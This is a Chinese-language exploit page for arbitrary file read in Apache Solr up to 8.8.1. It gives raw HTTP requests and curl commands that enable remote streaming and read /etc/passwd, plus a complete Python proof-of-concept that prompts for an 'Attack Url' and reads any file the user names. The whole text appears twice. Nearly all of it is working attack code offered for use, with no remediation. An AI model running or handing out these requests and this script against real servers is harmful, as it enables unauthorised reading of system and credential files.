# Apache Solr任意文件讀取漏洞
Apache Solr <= 8.8.1
http://xxx.xxx.xxx.xxx/solr/admin/cores?indexInfo=false&wt=json
POST /solr/ckan/config HTTP/1.1 Host: xxx.xxx.xxx:8983 Content-Length: 99 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://118.31.46.134:8983 Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://118.31.46.134:8983/solr/ckan/config Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6 Connection: close {"set-property":{"requestDispatcher.requestParsers.enableRemoteStreaming":true},"olrkzv64tv":"="}
POST /solr/ckan/debug/dump?param=ContentStreams HTTP/1.1 Host: xxx.xxx.xxx.xxx:8983 Content-Length: 29 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36 Origin: http://118.31.46.134:8983 Content-Type: application/x-www-form-urlencoded Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://118.31.46.134:8983/solr/ckan/config Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6 Connection: close stream.url=file:///etc/passwd
curl -d '{"set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}' http://xxx.xxx.xxx.xxx:8983/solr/{corename}/config -H 'Content-type:application/json' curl "http://xxx.xxx.xxx.xxx:8983/solr/db/debug/dump?param=ContentStreams" -F "stream.url=file://etc/passwd"
==POC==
import requests import sys import random import re import base64 import time from lxml import etree import json from requests.packages.urllib3.exceptions import InsecureRequestWarning def title(): print('+------------------------------------------') print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m') print('+ \033[34mGithub : https://github.com/PeiQi0 \033[0m') print('+ \033[34m公众号 : PeiQi文库 \033[0m') print('+ \033[34mVersion: Apache Solr < 8.2.0 \033[0m') print('+ \033[36m使用格式: python3 CVE-2019-0193.py \033[0m') print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx:8983 \033[0m') print('+ \033[36mFile >>> 文件名称或目录 \033[0m') print('+------------------------------------------') def POC_1(target_url): core_url = target_url + "/solr/admin/cores?indexInfo=false&wt=json" try: response = requests.request("GET", url=core_url, timeout=10) core_name = list(json.loads(response.text)["status"])[0] print("\033[32m[o] 成功获得core_name,Url为:" + target_url + "/solr/" + core_name + "/config\033[0m") return core_name except: print("\033[31m[x] 目标Url漏洞利用失败\033[0m") sys.exit(0) def POC_2(target_url, core_name): vuln_url = target_url + "/solr/" + core_name + "/config" headers = { "Content-type":"application/json" } data = '{"set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}' try: requests.packages.urllib3.disable_warnings(InsecureRequestWarning) response = requests.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=5) print("\033[36m[o] 正在准备文件读取...... \033[0m".format(target_url)) if "This" in response.text and response.status_code == 200: print("\033[32m[o] 目标 {} 可能存在漏洞 \033[0m".format(target_url)) else: print("\033[31m[x] 目标 {} 不存在漏洞\033[0m".format(target_url)) sys.exit(0) except Exception as e: print("\033[31m[x] 请求失败 \033[0m", e) def POC_3(target_url, core_name, File_name): vuln_url = target_url + "/solr/{}/debug/dump?param=ContentStreams".format(core_name) headers = { "Content-Type": "application/x-www-form-urlencoded" } data = 'stream.url=file://{}'.format(File_name) try: requests.packages.urllib3.disable_warnings(InsecureRequestWarning) response = requests.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=5) if "No such file or directory" in response.text: print("\033[31m[x] 读取{}失败 \033[0m".format(File_name)) else: print("\033[36m[o] 响应为:\n{} \033[0m".format(json.loads(response.text)["streams"][0]["stream"])) except Exception as e: print("\033[31m[x] 请求失败 \033[0m", e) if __name__ == '__main__': title() target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m")) core_name = POC_1(target_url) POC_2(target_url, core_name) while True: File_name = str(input("\033[35mFile >>> \033[0m")) POC_3(target_url, core_name, File_name)
Apache Solr <= 8.8.1
首先進入管理員頁面,獲取core的信息:
http://xxx.xxx.xxx.xxx/solr/admin/cores?indexInfo=false&wt=json
發送以下數據包
POST /solr/ckan/config HTTP/1.1 Host: xxx.xxx.xxx:8983 Content-Length: 99 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://118.31.46.134:8983 Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://118.31.46.134:8983/solr/ckan/config Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6 Connection: close {"set-property":{"requestDispatcher.requestParsers.enableRemoteStreaming":true},"olrkzv64tv":"="}
POST /solr/ckan/debug/dump?param=ContentStreams HTTP/1.1 Host: xxx.xxx.xxx.xxx:8983 Content-Length: 29 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36 Origin: http://118.31.46.134:8983 Content-Type: application/x-www-form-urlencoded Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://118.31.46.134:8983/solr/ckan/config Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6 Connection: close stream.url=file:///etc/passwd
curl請求爲:
curl -d '{"set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}' http://xxx.xxx.xxx.xxx:8983/solr/{corename}/config -H 'Content-type:application/json' curl "http://xxx.xxx.xxx.xxx:8983/solr/db/debug/dump?param=ContentStreams" -F "stream.url=file://etc/passwd"
==POC==
import requests import sys import random import re import base64 import time from lxml import etree import json from requests.packages.urllib3.exceptions import InsecureRequestWarning def title(): print('+------------------------------------------') print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m') print('+ \033[34mGithub : https://github.com/PeiQi0 \033[0m') print('+ \033[34m公众号 : PeiQi文库 \033[0m') print('+ \033[34mVersion: Apache Solr < 8.2.0 \033[0m') print('+ \033[36m使用格式: python3 CVE-2019-0193.py \033[0m') print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx:8983 \033[0m') print('+ \033[36mFile >>> 文件名称或目录 \033[0m') print('+------------------------------------------') def POC_1(target_url): core_url = target_url + "/solr/admin/cores?indexInfo=false&wt=json" try: response = requests.request("GET", url=core_url, timeout=10) core_name = list(json.loads(response.text)["status"])[0] print("\033[32m[o] 成功获得core_name,Url为:" + target_url + "/solr/" + core_name + "/config\033[0m") return core_name except: print("\033[31m[x] 目标Url漏洞利用失败\033[0m") sys.exit(0) def POC_2(target_url, core_name): vuln_url = target_url + "/solr/" + core_name + "/config" headers = { "Content-type":"application/json" } data = '{"set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}' try: requests.packages.urllib3.disable_warnings(InsecureRequestWarning) response = requests.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=5) print("\033[36m[o] 正在准备文件读取...... \033[0m".format(target_url)) if "This" in response.text and response.status_code == 200: print("\033[32m[o] 目标 {} 可能存在漏洞 \033[0m".format(target_url)) else: print("\033[31m[x] 目标 {} 不存在漏洞\033[0m".format(target_url)) sys.exit(0) except Exception as e: print("\033[31m[x] 请求失败 \033[0m", e) def POC_3(target_url, core_name, File_name): vuln_url = target_url + "/solr/{}/debug/dump?param=ContentStreams".format(core_name) headers = { "Content-Type": "application/x-www-form-urlencoded" } data = 'stream.url=file://{}'.format(File_name) try: requests.packages.urllib3.disable_warnings(InsecureRequestWarning) response = requests.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=5) if "No such file or directory" in response.text: print("\033[31m[x] 读取{}失败 \033[0m".format(File_name)) else: print("\033[36m[o] 响应为:\n{} \033[0m".format(json.loads(response.text)["streams"][0]["stream"])) except Exception as e: print("\033[31m[x] 请求失败 \033[0m", e) if __name__ == '__main__': title() target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m")) core_name = POC_1(target_url) POC_2(target_url, core_name) while True: File_name = str(input("\033[35mFile >>> \033[0m")) POC_3(target_url, core_name, File_name)
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